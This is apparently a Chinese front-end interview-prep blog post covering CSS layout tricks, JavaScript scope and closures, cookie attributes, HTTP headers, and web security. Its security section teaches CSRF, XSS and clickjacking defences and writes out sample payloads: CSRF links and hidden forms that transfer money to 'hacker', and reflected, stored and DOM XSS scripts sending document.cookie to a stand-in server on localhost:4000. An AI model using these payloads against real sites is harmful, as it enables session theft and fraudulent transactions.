为什么要叫八股文呢?

180 阅读7分钟

CSS样式

1.min-height

当不知道元素的高度的时候,可以设置min-height。这样子内容超出min-height的时候,元素会被内容撑开。

<!DOCTYPE html>
<html lang="en">
  <head>
    <style>
      div {
        border: 1px solid black;
        margin: 10px 0;
        width: 100px;
        overflow: hidden;
      }
      .div1 {
        min-height: 100px;
      }
      .div2 {
        height: 100px;
      }
    </style>
  </head>
  <body>
    <div class="div1">
      content content content content content content content content content
    </div>
    <div class="div2">
      content content content content content content content content content
    </div>
  </body>
</html>

2. 直角梯形

image.png

利用伪类进行CSS构建的直角梯形,然后这样子内容的尺寸以及边框的尺寸都是可控的。

<html>
    <style>
      .outer {
        width: 200px;
        height: 350px;
        overflow: hidden;
        border: 1px solid black;
        border-radius: 10px;
      }
      #oricl1 {
        width: 100px;
        position: relative;
        text-align: center;
      }
      #oricl1::after {
        z-index: -1;
        content: "";
        position: absolute;
        top: 0;
        left: 0;
        border-top: 30px solid orange;
        border-right: 20px solid transparent;
        height: 0;
        width: 100px;
      }
    </style>
  </head>
  <body>
    <div class="outer">
      <div id="oricl1">content</div>
    </div>
  </body>
</html>

3.外边距重叠

外边距重叠只会发生在块级元素上,比如<div>,<p>,不会发生在脱离文档流的文档上,比如在float:left;position上不会发生.

<!DOCTYPE html>
<html lang="en">
  <head>
    <style>
      .box {
        width: 600px;
        height: 100px;
        line-height: 50px;
        text-align: center;
        color: #333;
      }
      .box1 {
        background-color: #f60;
        margin-bottom: 100px;
      }
      .box2 {
        /* 第一种方式是给第二个元素设置浮动 */
        /* float: left; */
        /* 第二种方式是个给第二个元素设置position属性为absolute */
        position: absolute;
        background-color: #a90;
        margin-top: 100px;
      }
    </style>
  </head>
  <body>
    <div class="box box1">box1</div>
    <div class="box box2">box2</div>
  </body>
</html>

JavaScript

1.关于query的查询

function getQuery(paramName) {
    // 获取URL中附带的query
    const search = location.search;
    // 创建一个URLsearch实例
    const p = new URLSearchParams(search);
    for (const [key, value] of p) {
      console.log(key, value);
    }
    return {
      [paramName]: p.get(paramName),
    };
}
console.log(getQuery("id")); 

2. 微任务宏任务

  • 宏任务

    • setTimeout
    • setInterval
    • I/O
    • 页面渲染(解析 DOM, 计算布局以及绘制)
    • 用户的交互 (点击, 拖动, 触摸,放大缩小)
  • 微任务

    • Promise.then catch finally
    • MutationObserver

执行顺序:从任务队列中依次执行任务,执行完所有的微任务之后才去执行宏任务。

3. js语言的特点

  1. 动态类型语言

    静态类型语言是指:在编程中就要确定好变量的类型,如C,java,而JavaScript等动态类型语言,在运行的时候才会知道其变量的类型。比如JavaScript的var声明的变量

  2. 解释型语言,脚本语言

    由编译器编译之后,直接可以运行;不像c/c++,编译成本地可以运行的程序才可以进行执行

     c/c++ : 源代码->抽象语法树->中间表示->本地代码
    
     JavaScript:源代码->抽象语法树->解释器解释执行
    
  3. 运行在客户端浏览器上

  4. 与操作系统无关,跨平台的语言

  5. 不用预编译,直接解析执行

4. 什么是作用域,作用域链?

作用域:运行代码中一些变量、函数、对象的可访问性

作用域链:当访问一个变量时,解释器会在当前作用域进行查找,如果没找到,则去副作用域进行查找,直到找到该变量为止或没找到.这条寻找的链路就叫做作用域链.

作用域的划分:

块级作用域:块级作用域在以下情况被创建:在一个函数内部,或者是在一对花括号内部.变量基本上通过let、const创建.

函数作用域:函数内声明的变量、函数和对象

全局作用域: 在代码中任何地方都能访问到的对象.

5. 什么是闭包?闭包是如何产生的?闭包的使用场景?

JavaScript中,根据词法作用域的规则,函数内部总是可以访问到函数外部的变量.当调用一个函数,该函数返回一个内部函数时,并且该内部函数引用外部函数的变量时,我们称这些变量的集合为闭包.

function foo(){
    const a = 'test'
    function bar(){
        console.log(a);
    }
    return bar;
}
const newBar = foo()
newBar()

比如函数bar内部访问到了外部函数foo的变量a,调用外部函数foo的时候,以一个内部函数的形式进行的返回,此时就形成了闭包.

如何形成: 当函数内部存在对其他词法作用域的调用,并且该函数被拿到当前词法作用域外执行,就形成了闭包.

在哪些地方使用了闭包?

定时器、事件监听器、ajax请求,只要使用了回调函数,实际上就是使用了闭包

为什么使用闭包?闭包有什么好处?

  • 保护函数的私有变量不受外部的干扰
  • 把一些函数内的值保存下来,实现方法和属性的私有化

闭包的变量事如何回收的?

  • 如果全局变量被作为闭包变量的话,则该闭包变量会一直保存到页面关闭.(全局上下文一直存在,所以不会被回收)

  • 对于局部变量作为闭包变量的话:

function foo() {
  let a = 10;
  return function () {
    a++;
    console.log(a);
  };
}

foo()(); // 11
foo()(); // 11
const result = foo();
result(); //11
result(); //12;

对于foo()()这种调用方法来说,调用完成之后,没有对foo函数的引用,所以调用完成之后便对变量a进行了回收,而对于result = foo()这种方法,是将返回的函数赋值给了result,当调用完成之后,result没有被回收,再次调用 则会返回内存中的a+1的结果.

其他

1. cookie的各种属性

由于HTTP是无状态的,为了追踪用户,引入cookie;由于每次的HTTP请求都会自动携带cookie,这样服务端就可以知道请求是来哪里的.

Key,value:

cookie的本质就是一个键值对.key是属性名,value是属性值.

Domain:

Domain表示cookie的作用域,如果未设置默认为:'/';如果是二级或者三级域名,domain可以设置为顶级域名,二级或者三级本身,如果是顶级域名,那么domain就必须要设置为顶级域名

cookie的作用域与端口号和协议无关.

Path:

指定可以共享Cookie的子目录

Expires/Max-Age

cookie的过期时间,如果没有设置,那么就是session,当会话关闭之后,cookie就会消失.

Expires是设置具体的过期时间

res.setHeader('Set-Cookie', [ `name=chang; expires=${new Date(Date.now() + 10 * 1000).toGMTString()}`, ])

Max-Age是设置多少秒之后过期.

如果 Max-Age 和 Expires 同时存在,那么 Max-Age 优先级更高

HttpOnly

设置了HttpOnly的cookie不会被JavaScript获取到

Secure

cookie的安全属性,只有使用了SSL和HTTPS协议才会携带cookie.

SameSite

该属性用于限制第三方 Cookie 的发送场景

  • Strict:完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。

  • Lax:默认值。除了下面三种情况外,不发送第三方 Cookie

    • 链接:<a href="..."></a>
    • 预加载请求:<link rel="prerender" href="..."/>
    • GET 表单:<form method="GET" action="...">
  • None:跨站都发送 Cookie

2. 移动端如何做适配?

  1. 媒体查询

    根据不同的屏幕引用不同的样式

    <link rel="stylesheet" media="(max-width: 500px)" href="mobile.css" /> 
    <link rel="stylesheet" media="(min-width: 980px)" href="pc.css" />
    
  2. 固定 Viewport 宽度方案

  3. vw,vh

  4. rem: 页面元素根据屏幕的变化进行缩放

3. 常见的HTTP请求头

Accept: 用户代理期望的MIME类型列表(互联网中的内容类型)

Accept-Encoding: 列出用户代理支持的压缩方法

Accept-Language: 用户代理期望的语言类型

Authorization: 用于超文本传输协议认证的认证信息

Cache-Control: 用来指定在这次请求中所有的缓存机制

max-age=<seconds>:设置缓存存储的最大周期,超过这个时间缓存被认为过期(单位秒)。与Expires相反,时间是相对于请求的时间

Connection: 该浏览器想要优先使用的连接类型(keep-alive,close);当前事务完成后是否关闭网络连接。

Cookie: 浏览器cookie

Content-Type: 请求体的类型

application/x-www-form-urlencoded:数据被编码为名称/值对。这是标准的编码格式。
multipart/form-data: 数据被编码为一条消息,页上的每个控件对应消息中的一个部分。
text/plain: 数据以纯文本形式(text/json/xml/html)进行编码,其中不含任何控件或格式字符。postman软件里标的是RAW。

Host: 服务器的域名,以及服务器所监听的端口号

User-Agent: 浏览器自身的标识符

Origin: 指出跨域资源请求的来源

Expires: 资源缓存过期时间(绝对时间)


4. 常见的HTTP响应头

Access-Control-Allow-Origin: 允许跨域资源请求的来源

Access-Control-Allow-Methods: 允许哪些方法可以请求

Access-Control-Allow-Credentials: 是否允许携带cookie

Content-Type: 告诉客户端资源的类型

Server: 服务端的信息

网络安全相关

1. CSRF攻击

CSRF 跨站请求伪造

攻击原理

  1. 受害者登录目标网站,网站记录用户的登录状态
  2. 攻击者诱导受害者进入第三方网站,使受害者进行对目标网站的跨站请求
  3. 由于用户已经登陆,所以跨站请求会成功

** GET型攻击案例**

  1. get型CSRF可以通过超链接进行模拟get请求,来模拟接口的请求.
<a href="http://localhost:3000/transfer?to=hacker&money=100">点击下载</a>

GET防御方法

  1. GET请求一般用来进行查询,GET请求类型的接口一般别对数据库进行操作.
  2. 设置 Referer 白名单: 跨站发送的请求在Header内会携带Referer头部,服务器设置一个白名单,拒绝非白名单的跨站请求.但是,前端可以绕过Referer的.
<a href="http://localhost:3000/transfer?to=hacker&money=100" rel="noreferrer">点击下载</a>

POST型攻击案例

  1. POST 型CSRF可以通过一个隐藏的表单来进行接口的模拟
<form id="form" method="POST" enctype="application/x-www-form-urlencoded" action="http://localhost:3000/transfer" style="display: none"> 
    <input type="text" name="to" value="hacker" /> 
    <input type="number" name="money" value="100" /> 
</form>

防御方法

  1. CORS白名单:在服务器端指定允许的域名可以进行资源访问.
  2. 自定义Header头部
  3. 设置Token,前端登录之后获取Token,用户发送请求携带Token,Token在后端进行解析.

2. XSS攻击

XSS 跨站脚本攻击

原理:

由于Web程序对用户的输入过滤不足,导致攻击者可以输入恶意脚本代码注入到网站中,当其他用户在进行浏览的时候就会执行其恶意代码,对受害者进行恶意的攻击.

XSS攻击一般分为三种:

  1. 反射型
  2. 存储型
  3. DOM型

反射型XSS攻击

该恶意脚本并没有存储到数据库内.而是诱导用户点击一个拼接好的攻击链接,从而达到攻击受害者的目的.

http://localhost:3000/movies?q=功夫熊猫<script>fetch(`http://localhost:4000/cookies?cookie=${document.cookie}`)</script>

可以看到,发送这个请求的时候,就将用户的cookie发送到了攻击者的服务器上

防御方案:

造成反射性XSS攻击的原因就是因为服务器端没有进行过滤,所以解决办法可以直接用 encodeURIComponent对查询参数进行过滤,或者是替换掉<,>等特殊符号.

如果后端登录验证是基于cookie的话,可以设置cookie的属性HttpOnly=true,这样就不能通过JavaScript来获取cookie了.

存储型XSS攻击

比如一条评论

文章写的真棒!<script>fetch(`http://localhost:4000/cookies?cookie=${document.cookie}`)</script>

攻击者利用xss注入script,可以为所欲为

防御方案

  • 客户端提交前进行校验过滤,如果包含恶意脚本则不提交,或者提交转义后的字符串
  • 服务端接收后先校验过滤,如果包含恶意脚本则不存储到数据库,或者存储转义后的字符串
  • 客户端渲染时候进行过滤,即使数据库中存储了未经转义的恶意脚本,输出转义后的字符串

DOM型XSS攻击

<input id="input" type="text" /> 
<button onclick="container.innerHTML = input.value">点击</button> 
<p id="container"></p>

在输入框内输入 <img src="x" onerror="fetch(`http://localhost:4000/cookies?cookie=${document.cookie}`)">的时候,就会暴露自己的 cookie信息.

总结

反射型 XSS 攻击的手段就是诱导用户点击,这种攻击是一次性的,用户点击就中招,不点就没事,危害性不如存储型的大,但是小白用户很容易被盗号。

存储型 XSS 攻击范围广,受害面积大,且不容易及时发现和排查,一定要多加小心,对于用户输入的任何内容都不要完全信任,对于动态渲染的文本一定要进行转义。

DOM 型 XSS 攻击随着单页面应用普及和流行愈发常见,因为在单页面应用中 JS 经常操作 DOM,而 DOM 型 XSS 攻击就是利用了浏览器解析机制,因此很容易触发 DOM 型 XSS 攻击。不过好在大部分前端框架,例如 Vue、Angular 都内置 DOM 型 XSS 攻击的防御机制。

3. 点击劫持

恶意网站使用<iframe>将用户的一些重要信息嵌入进去,然后将iframe设置透明.这样我们在进行操作的时候就不知不觉的收到了攻击.

image.png

防范方法

  1. 使用JS代码进行判断 判断顶层视口的域名是不是和本页面的域名一致,如果不一致就让恶意网页自动跳转到我方的网页。当然你还可以恶心一下这些恶意网站,比如说弹窗十几次,或者跳转到某些404页面。
if (top.location.hostname !== self.location.hostname) {
    alert("您正在访问不安全的页面,即将跳转到安全页面!");
    top.location.href = self.location.href;
}
  1. 使用 HTTP 头防范

通过配置 nginx 发送 X-Frame-Options 响应头,这样浏览器就会阻止嵌入网页的渲染。更详细的可以查阅MDN上关于X-Frame-Options 响应头的内容。

add_header X-Frame-Options SAMEORIGIN;